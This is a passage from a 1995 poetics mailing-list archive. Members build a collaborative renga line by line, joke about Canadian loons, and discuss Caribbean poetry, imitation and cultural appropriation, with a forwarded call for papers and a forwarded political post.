O the hawk and the chicks! when one sets its eyes on the other
One soars high into air, even only a young bird;
Snatching its prey from the air, even with the left hand.
O the mattress and the pillow, when the two come together . . .'

(freely translated from Muyaka - 19th century swahili poet) the reference to left hand is in regards to eating etiquette as many will know but some might not

love and love
cris

↑ Index

148. **maria damon**
Re: Caribbean
Sat 5 Aug 1995

In message <[redacted]> UB
Poetics discussion group writes:
> Hi Maria. The book is _If I Could Write This In Fire: An Anthology of
> Lit from the Carib_ ed by Pamela M. Smorkaloff. I'm adding the one you
> mentioned to my list... Thanks. Gabrielle

thanks, hadn't heard of it but recognize, of course, the source of the title... soory all you other listers out there, to clog your airwaves and eyebrain neurones with personal thanks to one member --it's just so easy to hit that "reply" option.--md

↑ Index

149. **maria damon**
Re: folk rhythms & forms
Sat 5 Aug 1995

---

cris writes:
> My own enthusiasm, as some will already know,
> is for Madagascar
>
> love and love
> cris

didn't know..please tell us about poetry from the madagascar contact zone!--md

↑ Index

150. Chris Stroffolino
Re: Rengaphobia
Sat 5 Aug 1995

---

oh ron s---yes, yet's draw theoretical conclusions--CANADIANS HATE RENGAS...but RON makes ASSUMPTIONS doesn't it---first one is that this "renga" constitues poetry (there's obviously some weird tension and/or rivalry between bowering and silliman going on--it's soap opera like--ho hum)---there are others too does one have to be north of the border to be north of intention? viva canada! cs

↑ Index

151. Jorge Guitart
Re: Vivan tanto canada como renga
Sat 5 Aug 1995

Viva renga
viva Ron
y que viva Michael Boughn
aunque lo ponga en `no renga'
y aunque no tenga razon

y, seguro, vivan Chris
Canada, George y Lindz
pero la renga es poesia
cualquiera te lo diria

(after Nicolas Guillen)

↑ Index

152. Jorge Guitart
not a renga so keep your finger off D
Sat 5 Aug 1995

(with thanks to alan,maria, gabrielle, ron, louie, joseph, marisa, tony, et al)

EXCELLENT LEXICAL ADVENTURES

the book the dream the caravan & the lace
the coffee the bondage & the waist
the cream the times the modules & the dust
green discorded fanatical & obtuse
go mollycoddled thin-spined with oboe
it binds misdirected with years ago
blowing prussian blue gauze between snacks

gives kissing ripcage topped with poplar landscape
heavy the waspish cardinal in compassed air

↑ Index

153. Rod Smith

Re: Parasites revealed in action! (fwd)

Sat 5 Aug 1995

G-- Thanks for forwarding this. I propose people repost this lots of places as well as making xeroxes of the two headlines next to each other to send around & leave on car windshields & send to corporate heads & our "representatives" etc. If they know we know it scares them a little, I think. & that's a start. --Rod

G forwarded this:

Surprise surprise! Gabrielle

PROPOSED CONGRESSIONAL CUTS OF $9 BILLION
TO WELFARE/HEALTH/EDUCATION/WORKERS SAFETY REGULATIONS
MATCH MILITARY GIFT

The symmetry is beautiful and awesome.

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All the dots were connected by thick lines following the money trail
straight to the doors of the enriching rich. It was like deus ex machina.
THE VAMPIRES CAUGHT IN THE ACT --RED-HANDED, as it were.
Now is the time to act. Spread the news. This is it.
Yours in solid.,
--Chris Brady
%%%

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Our phone number is [redacted]. FAX: [redacted]
e-mail: [redacted]
WWW: http://gladstone.uoregon.edu/~insurgnt
[*note*: no "e" in "insurgnt" with our electronic addresses]
Our current U.S. Mailing address is: The Student Insurgent
1228 -- U. of Oregon
Eugene, OR 97403-1228
"...we shall have an association
in which the free development of each
is the condition for the free development of all."
%%%

155. Charles Bernstein
Essays Wanted for College Literature's Special Poetry Issue (fwrd)
Sat 5 Aug 1995

[forwarded message:]

SPECIAL ISSUE OF COLLEGE LITERATURE

Diversity and American Poetries
Volume 24, number 1 (February 1997)

The issue will explore the theoretical/imaginative space framed by the relation between social, political, and cultural diversity and the great variety of forms and functions comprising poetry in the United States. Topics may include (but are not limited to):

Canons, Hierarchies, Rules, Values
Poetry as Cultural Criticism
Ethnopoetics
Folk, Popular, or Non-Academic Poetries
Formalisms and Cultural Difference
Functional Poetics
Hybrid Poetries
Ideological Variety
Lost/Rediscovered Poetries
Non-Print Poetries
Poetic Desire/Sexual Desire
Poetic Variety and Pedagogy
Poetry and Other Arts
Poetry of "Minor Literatures"
Redefining genres
Theorizing creativity
Theorizing Poetic Change
Workshops and Readings

Deadline for submission of 18-25 page articles in MLA style (in triplicate; author's name to appear on cover page only) is July 15, 1996. Please send queries or essays to:

AFTER AUG. 15 ONLY (new addesses!):

Jerry McGuire
College Literature
Diversity and Poetry Issue
English Dept.
University of Southwestern Louisiana

Room 211, Griffin Hall
Lafayette LA 70504

or:

[redacted]

Call [redacted] if you have a problem with either address.

↑ Index

156. **Jonathan Brannen**
Re: avoidance behavior syndrome
Sat 5 Aug 1995

Tony,

You have plums on the fridge door? Or was that just a tasteful message? I don't want to reopen the issue of the literary cannon, other than to say that we could use a few more literary loose cannons.

Best regards from not so sweet but oh so cold Minnesota,
Jonathan

↑ Index

157. **Jonathan Brannen**
Re: avoidance behavior syndrome
Sat 5 Aug 1995

Responding to George Bowering post of 3 August:

George,
I would think any self-respecting MTV guitar wanger would use the term "artiste."

Best,
Jonathan

↑ Index

158. **Jonathan Brannen**
Re: avoidance behavior syndrome
Sat 5 Aug 1995

Jorge Guitart,

So that's what the MGM lion is roaring. All these years I thought it was saying "buy more popcorn."

Best,
Jonathan

↑ Index

159. Jonathan Brannen
Re: avoidance behavior syndrome
Sat 5 Aug 1995

To Ed Foster who said "the only time to use 'art' is when you are talking to, or about, someone with that name."

I don't know Ed. I guess I just not comfortable using people that way.

Best,
Brannen

↑ Index

160. Jonathan Brannen
Re: folk rhythms & forms
Sat 5 Aug 1995

Gabrielle and Maria,

I believe in was the composer Terry Reily speaking of his composition C who said that progress in the arts frequently resulted from members of one culture imitate the style and methods of another culture without understanding its context within the original culture. Unencumbered by its original cultural baggage, the relatively regimented forms of making and doing within one culture are free to evolve in new directions when adapted by another.

Jonathan

↑ Index

161. Tom Mandel
Quirky Urgencies
Sat 5 Aug 1995

On imitation and influence and on the "passing around" of forms...

...for one thing lots of formal thinking in new poetry, as I/we experienced in the seventies, for example, was about procedures: methods, ways of doing things. And these ways, or one's sense of them, could be influential yet expressed in very different- appearing formal constructions.

At the same time, it's important not to downplay the importance and interest of imitation itself. It's fun an duseful to find out whether you can do a thing that

you see someone else doing, and that may involve very blatant imitation. Anyway, imitation doesn't always produce similarity (mimesis is an interesting topic...). Beckett imitated Kafka as a way of getting free from Joyce's influence, but his early work doesn't actually arrive at much of a similarity to what it imitates.

Perhaps originality finds in imitation an interesting motor to appear.

At the same time, I also remember a lot of not very interesting work (to me, that is) which seemed to be trying to be "the new sentence." But, of course that "theoretical" construction had an utterly personal character, as Ron extended into poetry his political concern with "the sentence" in a very different sense and kept the continuity and contiguity in a rather private irony; i.e. it was never discussed I do not think or at least I do not remember (which means less and less...).

But it didn't get by me, Ron. In that sense, I mean, "the new sentence" was inimitable. Or any other new sentence would be original perforce, however mimetic.

Tom Mandel

↑ Index

162. Thomas Bell
Rengaphobia
Sat 5 Aug 1995

Rather than starting a flame war, it might be appropriate to branch off a thread from poetics in response to the spontaneous interest that has developed in response to the interactive development of the renga thread.

This might also resolve two other issues that have generated some controversy here: publicity vs. exclusivity and posting of poetry vs. posting of criticism and theory. I think it would be a mistake to restrict or cut off the interest this thread has sparked, no matter how good or bad the work is as _POETRY_ or _RENGA_.

Bada Shanren

↑ Index

163. Jorge Guitart
Re: avoidance behavior syndrome
Sat 5 Aug 1995

Jonathan, to tell you the truth, today i was watching the american movie channel & sure enough there was going to be an old mgm movie. i cut off the sound & watched leo's lips carefully & you are right--in a way: it looked like he was saying ***zea mays everta plus emptor*** . i think it was my stepmother who fooled me into believing that he said the other thing.

On Sat, 5 Aug 1995, Jonathan Brannen wrote:

> *Jorge Guitart,*
>
> *So that's what the MGM lion is roaring. All these years I thought it was saying "buy more popcorn."*
>
> *Best,*
> *Jonathan*

↑ Index

164. Jorge Guitart
flame retardant behavior
Sat 5 Aug 1995

---

isnt any poem (including any renga) a statement of (your)(our) poetics?

↑ Index

165. Sheila E. Murphy
Re: Renga 1
Sat 5 Aug 1995

>on August 2 Sheila E. Murphy (& others) wrote:
>> >
>> > In the books were dreams and in the dreams were books.
>> >> And flew through windows, lightning green and fine morning
>> >> First inverted whistle of a cardinal in the poplar
>> >> The book and the oboe on the grass under sun and cloud
>> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> The caravan of windows to what they flee
>> >> These lace curtains, more gauze than bondage, more
>> >> Mollycoddled than aware, thin-spined and pebbling
>> >> but narrow in the waist or waspish Sunday years ago
>> >> Over coffee topped with whipped cream, the Times blowing

>> > & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
>floating, held open, adrift in different directions, she
promised what she practiced as triangular blue feats soothed
>

↑ Index

166. **Joseph Zitt**
Re: Renga 1
Sat 5 Aug 1995

On 5 Aug 95 at 22:46, Charles Alexander wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> floating, held open, adrift in different directions, she
> promised what she practiced as triangular blue feats soothed
> stunned images into form, saying a need, similar days
imported when commisioned, encapsulating
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

167. **Sheila E. Murphy**
Re: your mail
Sat 5 Aug 1995

>> > In the books were dreams and in the dreams were books.
>> > > And flew through windows, lightning green and fine morning
>> > > First inverted whistle of a cardinal in the poplar

>> > > The book and the oboe on the grass under sun and cloud
>> > > Go endlessly, an obtuse Prussian blue, it binds
>> > > The caravan of windows to what they flee
>> > > These lace curtains, more gauze than bondage, more
>> > > Power to the spider, virtuous in act if not intent
>> > > Sight over sound for "justice," O cubes of Cuba! Where
>> > > would calmness be without the stain of possession and
>> > Belief. A mirage effect, art, made to waver in
>> > a modicum of chocolate milk. Not too late for
>the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
doused in chemicals resembling chemlab outputs straining to be

↑ Index

168. Sheila E. Murphy
Re: Renga 1
Sat 5 Aug 1995

>> > > > In the books were dreams and in the dreams were books.
>> > > >> And flew through windows, lightning green and fine morning
>> > > >> First inverted whistle of a cardinal in the poplar
>> > > >> The book and the oboe on the grass under sun and cloud
>> > > >> Go endlessly, an obtuse Prussian blue, it binds
>> > > >> The caravan of windows to what they flee
>> > > >> These lace curtains, more gauze than bondage, more
>> > > >> Mollycoddled than aware, thin-spined and pebbling
>> > > >> but narrow in the waist or waspish Sunday years ago
>> > > >> Over coffee topped with whipped cream, the Times blowing
>> > > > & opining, heavy humid air, cumulus amusing against the
>> > > bleached ribcage ripcorded into compassed wind
>> > kissing the weatherwoman between her breasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection

↑ Index

169. Sheila E. Murphy
Re: eR 1
Sat 5 Aug 1995

>On Thu, 3 Aug 1995, Thomas Bell wrote:
>
>> On Aug 3 Hank Lazer wrote:

>>
>> On Aug 3 Marissa Januzzi wrote:
>>
>> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
>> >
>> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
>> > >
>> > > > >adding to Ron Silliman's addition --
>> > > > >
>> > > > > In the books were dreams and in the dreams were books.
>> > > > >> And flew through windows, lightning green and fine morning
>> > > > >> First inverted whistle of a cardinal in the poplar
>> > > > >> The book and the oboe on the grass under sun and cloud
>> > > > >> Go endlessly, an obtuse Prussian blue, it binds
>> > > > >> The caravan of windows to what they flee
>> > > > >> These lace curtains, more gauze than bondage, more
>> > > > >> Mollycoddled than aware, thin-spined and pebbling
>> > > > >> but narrow in the waist or waspish Sunday years ago
>> > > > >> Over coffee topped with whipped cream, the Times blowing
>> > > > > & opining, heavy humid air, cumulus amusing against the
>> > > > bleached ribcage ripcorded into compassed wind
>> > > kissing the weatherwoman between her breasts as she
>> > gives gracious problem: fanatical snacks, landscape of
>> ><< lunar dust, the misdirected modules returning to the
>> morning
>> from the books out of the dreams away from the lonesome
>> wail of the glob that cradles in its claws The Anthology
>> of retrospective prescience sanded down to mean the elbows cleanly
fit
>
>

↑ Index

170. Charles Alexander

Renga 1

Sat 5 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds

The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
floating, held open, adrift in different directions, she
promised what she practiced as triangular blue feats soothed
stunned images into form, saying a need, similar days

↑ Index

171. Charles Alexander

Renga2?

Sat 5 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Power to the spider, virtuous in act if not intent
Sight over sound for "justice," O cubes of Cuba! Where
would calmness be without the stain of possession and
Belief. A mirage effect, art, made to waver in
a modicum of chocolate milk. Not too late for
the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
doused in chemicals resembling chemlab outputs straining to be
loons in a lake one can see through, diving between sunrises

↑ Index

172. Lindz Williamson

Re: Vivan tanto canada como renga

Sat 5 Aug 1995

Yes, I fear Renga.
I fear art.
I fear one big happy poetics list.
I wake up at night in a cold sweat because according to all of you i have
no soul.

I fear generalizations and broad conclusions.
I fear people that jump down my throat and make accusations even when I say please.
I really fear "quatations marks" and brackets (GOd they're really, really scary)
I fear that someone might inform me that I'm not actually writing poetry, but a bukowski novel.
I fear witty comebacks and cynical remarks.
I fear Courtney Love.
I fear that someone might think I think COurtney love is an " artiste"
I fear peopel who correct typos and speling mistaeks
I fear that someone might replace the word fear with the word hate in this posting.
I fear that I might actually be allowed to post my own opinion and not be condemmed.
I fear the US.
I fear that someone might find out I have dual citizenship and that my father is American.
I fear that the only reason that I'm proud to be Canadian is the fact that it means i'm not American.
And due to all this fear I now have a facial twitch and feel faint when I hear literary analysis. But that's ok, i think it adds character so yes. please continue.
Viva Renga!

Lindz (i think i'm going to hide under
my goose down for a while, that's what Canadians do when they are frightened)

↑ Index

173. Charles Alexander

Renga3?

Sat 5 Aug 1995

On Sat, 5 Aug 1995 18:03:42 -0700,
Sheila E. Murphy <[redacted]> wrote:

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more

Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
prickling with tenors, saving arrogance for free choice, long division

↑ Index

174. Charles Alexander

Renga4?

Sat 5 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
lunar dust, the misdirected modules returning to the morning
from the books out of the dreams away from the lonesome
wail of the glob that cradles in its claws The Anthology
of retrospective prescience sanded down to mean the elbows cleanly fit
sucking, winding, foraging, menacing, saving, stinging, erasing

↑ Index

175. Lindz Williamson
Re: Renga2?
Sun 6 Aug 1995

As official chair person of the Canadian Council Against Renga (Car) I charge Charles Alexander with unauthorized use of the Loon," loons in a lake one can see through, diving between sunrises". The Loon is considered a part of Canadian culture and heritage. The Loon was officially chosen to appear on the Canadian dollar coin in 1987, as it reflected typically Canadian mannerisms being some what annoying and mostly harmless shooting it's mouth off for no apparent reason. The coin has since been affectionately nicknamed the " Loonie" I warn you that the members of CAR view the symobolic importance of the Loon to be at par with the American Bald Eagle, therefore this is no laughing matter. WE request that all renga using Loons as a poetic image or metaphor please cease immediately.

Thanks for your understanding, we wouldn't want
to make this an international incident.

Officially, Lindz Williamson

↑ Index

176. Sheila E. Murphy
Re: Renga4?
Sun 6 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped cream, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her breasts as she
>gives gracious problem: fanatical snacks, landscape of
>lunar dust, the misdirected modules returning to the morning
>from the books out of the dreams away from the lonesome
>wail of the glob that cradles in its claws The Anthology
>of retrospective prescience sanded down to mean the elbows cleanly fit

>sucking, winding, foraging, menacing, saving, stinging, erasing
bandages-to-be from consciousness and conscience plexiglassed against

↑ Index

177. Charles Alexander

Re: Renga2?

Sun 6 Aug 1995

Lindz Williamson writes,

"As official chair person of the Canadian Council Against Renga (Car) I charge Charles Alexander with unauthorized use of the Loon," loons in a lake one can see through, diving between sunrises". The Loon is considered a part of Canadian culture and heritage. The Loon was officially chosen to appear on the Canadian dollar coin in 1987, as it reflected typically Canadian mannerisms being some what annoying and mostly harmless shooting it's mouth off for no apparent reason. The coin has since been affectionately nicknamed the " Loonie" I warn you that the members of CAR view the symobolic importance of the Loon to be at par with the American Bald Eagle, therefore this is no laughing matter. WE request that all renga using Loons as a poetic image or metaphor please cease immediately."

The loon is also the state bird of Minnesota, although I saw my first several in Wisconsin last week. I apologize for offending Canada, which I greatly respect.

```
charles alexander                    [============^^=============]
                              [          <>          ]
chax press                         [  maybe a  <>  pages     ]
                              [     time  <>  letters   ]
phone & fax: [redacted]              [     upon  <>  frames    ]
                              [     once  <>  motion    ]
e-mail: [redacted]          [          <>          ]
                              [============vv=============]
```

↑ Index

178. Thomas Bell

Re: Renga2?

Sun 6 Aug 1995

"nool" OK? as in

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud

Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
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Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
prickling with tenors, saving arrogance for free choice, long division

[A>nool in a CAR, an American car, an official American Toyota

↑ Index

179. Gabrielle Welford
Re: folk rhythms & forms
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Jonathan Brannen wrote:

Unencumbered
> by its original cultural baggage, the relatively regimented forms
> of making and doing within one culture are free to evolve in new
> directions when adapted by another.
>
Yes, that makes a lot of sense to me. Works across time too, so that,
for instance revivals of particular folk traditions, like Irish, say, or
Hawaiian produce wonderful new possibilities and mixtures that were never
possible before.

Gab.

↑ Index

180. cris cheek
Re: desire / and the 39 steps
Sun 6 Aug 1995

---

an urgent wind's up - blows out, to tidy the garden. gets stuck in the process.
cholic summer waters lie dark, clogged by decompositions of petals and leaves.
the reflections it gives to this world are the better for that.

↑ Index

181. Tom Mandel
Re: Renga 1
Sun 6 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
condemmed.
promised what she practiced as triangular blue feats soothed
stunned images into form, saying a need, similar days
to those not before, yet stored, whose sifted haze

↑ Index

182. Tom Mandel
Re: Renga2?
Sun 6 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud.
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Power to the spider, virtuous in act if not intent
Sight over sound for "justice," O cubes of Cuba! Where
would calmness be without the stain of possession and
Belief. A mirage effect, art, made to waver in
a modicum of chocolate milk. Not too late for
the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
doused in chemicals resembling chemlab outputs straining to be
loons in a lake one can see through, diving between sunrises
as a cat on catpaws, chocolate-milk-lipped, cardinal-listening

↑ Index

183. Tom Mandel
Re: Renga3?
Sun 6 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
would calmness be without the stain of possession and
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
prickling with tenors, saving arrogance for free choice, long division
with its equally long aftertaste, or did its overtone

↑ Index

184. Tom Mandel
Re: Renga4?
Sun 6 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
lunar dust, the misdirected modules returning to the morning

from the books out of the dreams away from the lonesome
wail of the glob that cradles in its claws The Anthology
of retrospective prescience sanded down to mean the elbows cleanly fit
sucking, winding, foraging, menacing, saving, stinging, erasing
yet relaxed all the while, cuffs buttoned close to thumb & page

↑ Index

185. **beard**
Re: folk rhythms & forms
Sun 6 Aug 1995

Jonathon said,

> *I believe in was the composer Terry Reily speaking of his composition C who said that progress in the arts frequently resulted from members of one culture imitate the style and methods of another culture without understanding its context within the original culture. Unencumbered by its original cultural baggage, the relatively regimented forms of making and doing within one culture are free to evolve in new directions when adapted by another.*

Yes, exactly! But when the _imitator_ is from a culture that has colonised the culture that produced the _imititated_ form, the imitator better watch out for the PC police. Viz Gordon Walters' use of the Maori koru design, and his wonderful explorations of its formal possibilities, without any necessary reference to its cultural origins and context. But that's "appropriation" (sorry guys, didn't see the copyright symbol) and hence not on. Are we allowed to use (e.g.) the myths of other cultures in our writings, in whatever way we want, or do we have to sit a test to prove our cultural sensitivity?

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

186. **maria damon**
Re: Vivan tanto canada como renga
Sun 6 Aug 1995

---

jorge writes:
> Viva renga
> viva Ron

> y que viva Michael Boughn
> aunque lo ponga en `no renga'
> y aunque no tenga razon
>
> y, seguro, vivan Chris
> Canada, George y Lindz
> pero la renga es poesia
> cualquiera te lo diria
>
> (after Nicolas Guillen)

now this is my idea of art and poetry!--md

↑ Index

187. Sheila E. Murphy

Re: Renga3?

Sun 6 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>would calmness be without the stain of possession and
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
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>Over coffee topped with whipped cream, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her breasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka my best friend and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance (inspection
>prickling with tenors, saving arrogance for free choice, long division
>with its equally long aftertaste, or did its overtone
collapse a wild sugar ago the fleet of cabernet oblivions for

↑ Index

188. Sheila E. Murphy
Re: Renga 1
Sun 6 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped cream, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>condemmed.
>promised what she practiced as triangular blue feats soothed
>stunned images into form, saying a need, similar days
>to those not before, yet stored, whose sifted haze
pretaxed a little roughage for the good of order modified by "the"

↑ Index

189. Jorge Guitart
Re: Renga 1
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Sheila E. Murphy wrote:

> >on August 2 Sheila E. Murphy (& others) wrote:
> >> >
> >> > In the books were dreams and in the dreams were books.
> >> >> And flew through windows, lightning green and fine morning
> >> >> First inverted whistle of a cardinal in the poplar
> >> >> The book and the oboe on the grass under sun and cloud
> >> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >> The caravan of windows to what they flee
> >> >> These lace curtains, more gauze than bondage, more
> >> >> Mollycoddled than aware, thin-spined and pebbling
> >> >> but narrow in the waist or waspish Sunday years ago
> >> >> Over coffee topped with whipped cream, the Times blowing
> >> > & opining, heavy humid air, cumulus amusing against the
> >> bleached ribcage ripcorded into compassed wind

> >floating, held open, adrift in different directions, she
> promised what she practiced as triangular blue feats soothed
 the theoretician and her guests by the balsa wood tower

↑ Index

190. Jorge Guitart
Re: your mail
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Sheila E. Murphy wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *a modicum of chocolate milk. Not too late for*
> *the phalarope, anodyne, cynesure, palindrome or rapturous whatnots*
> *doused in chemicals resembling chemlab outputs straining to be*
> *with their rehab brothers & sisters in the metaphor they lived by*

↑ Index

191. Jorge Guitart
Re: Renga 1
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Sheila E. Murphy wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*

> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*

↑ Index

192. Jorge Guitart

Re: eR 1

Sun 6 Aug 1995

On Sat, 5 Aug 1995, Sheila E. Murphy wrote:

> *On Thu, 3 Aug 1995, Thomas Bell wrote:*
>
> *On Aug 3 Hank Lazer wrote:*
>
> *On Aug 3 Marissa Januzzi wrote:*
>
> *On Thu, 3 Aug 1995, Jorge Guitart wrote:*
>
> *On Wed, 2 Aug 1995, Sheila E. Murphy wrote:*
>
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
